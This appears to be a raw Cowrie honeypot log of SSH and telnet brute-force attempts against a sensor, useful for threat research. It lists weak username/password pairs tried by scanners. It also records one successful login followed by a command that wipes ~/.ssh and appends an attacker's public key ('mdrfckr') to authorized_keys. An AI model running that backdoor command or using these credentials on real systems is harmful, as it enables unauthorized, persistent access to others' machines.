2","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:48.435968Z","src_ip":"103.4.145.50","session":"07b6c40ae01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:48.612013Z","src_ip":"96.70.252.227","session":"236a2f4aaa86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123QWEqwe","message":"login attempt [ubuntu/123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:49.496818Z","src_ip":"103.4.145.50","session":"07b6c40ae01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:49:50.760784Z","src_ip":"103.4.145.50","session":"07b6c40ae01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":51590,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0063b200ee1","protocol":"ssh","message":"New connection: 124.7.227.98:51590 (159.203.135.109:22) [session: a0063b200ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:50:22.137232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:50:22.141901Z","src_ip":"124.7.227.98","session":"a0063b200ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:50:22.360960Z","src_ip":"124.7.227.98","session":"a0063b200ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitwarden","password":"123456","message":"login attempt [bitwarden/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:50:23.271435Z","src_ip":"124.7.227.98","session":"a0063b200ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:50:24.494075Z","src_ip":"124.7.227.98","session":"a0063b200ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":44296,"dst_ip":"10.17.0.5","dst_port":22,"session":"d05a0dd976ff","protocol":"ssh","message":"New connection: 103.4.145.50:44296 (10.17.0.5:22) [session: d05a0dd976ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:50:49.329684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:50:49.334100Z","src_ip":"103.4.145.50","session":"d05a0dd976ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:50:49.593267Z","src_ip":"103.4.145.50","session":"d05a0dd976ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"test123","message":"login attempt [nginx/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:50:50.655392Z","src_ip":"103.4.145.50","session":"d05a0dd976ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:50:51.917382Z","src_ip":"103.4.145.50","session":"d05a0dd976ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":33062,"dst_ip":"10.17.0.5","dst_port":22,"session":"7989ca825be2","protocol":"ssh","message":"New connection: 103.4.145.50:33062 (10.17.0.5:22) [session: 7989ca825be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:51:47.285552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:51:47.290181Z","src_ip":"103.4.145.50","session":"7989ca825be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:51:47.546873Z","src_ip":"103.4.145.50","session":"7989ca825be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user12345","message":"login attempt [user1/user12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:51:48.609024Z","src_ip":"103.4.145.50","session":"7989ca825be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.172.181.130","src_port":38154,"dst_ip":"159.203.135.109","dst_port":23,"session":"2528334e741d","protocol":"telnet","message":"New connection: 38.172.181.130:38154 (159.203.135.109:23) [session: 2528334e741d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:51:49.814553Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:51:49.868884Z","src_ip":"103.4.145.50","session":"7989ca825be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.075049877166748,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:02.889487Z","src_ip":"38.172.181.130","session":"2528334e741d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":51286,"dst_ip":"159.203.135.109","dst_port":22,"session":"52176e8f3e00","protocol":"ssh","message":"New connection: 96.70.252.227:51286 (159.203.135.109:22) [session: 52176e8f3e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:40.545448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:40.553969Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:40.580992Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"iamadmin","message":"login attempt [admin/iamadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:40.762224Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:40.890412Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:40.893300Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:40.895884Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:40.941468Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:41.066299Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:41.069308Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:41.112902Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:41.116216Z","src_ip":"96.70.252.227","session":"52176e8f3e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":51288,"dst_ip":"159.203.135.109","dst_port":22,"session":"1198a9cc41e2","protocol":"ssh","message":"New connection: 96.70.252.227:51288 (159.203.135.109:22) [session: 1198a9cc41e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:41.130403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:41.165948Z","src_ip":"96.70.252.227","session":"1198a9cc41e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:41.193022Z","src_ip":"96.70.252.227","session":"1198a9cc41e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:41.373022Z","src_ip":"96.70.252.227","session":"1198a9cc41e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:42.413143Z","src_ip":"96.70.252.227","session":"1198a9cc41e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":51302,"dst_ip":"159.203.135.109","dst_port":22,"session":"a94d3653da5f","protocol":"ssh","message":"New connection: 96.70.252.227:51302 (159.203.135.109:22) [session: a94d3653da5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:42.421628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:42.430322Z","src_ip":"96.70.252.227","session":"a94d3653da5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:42.467131Z","src_ip":"96.70.252.227","session":"a94d3653da5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:42.629750Z","src_ip":"96.70.252.227","session":"a94d3653da5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17664,"dst_ip":"10.17.0.5","dst_port":22,"session":"e623165f93ad","protocol":"ssh","message":"New connection: 87.251.64.176:17664 (10.17.0.5:22) [session: e623165f93ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.094013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:43.098381Z","src_ip":"87.251.64.176","session":"e623165f93ad","protocol":"ssh"}
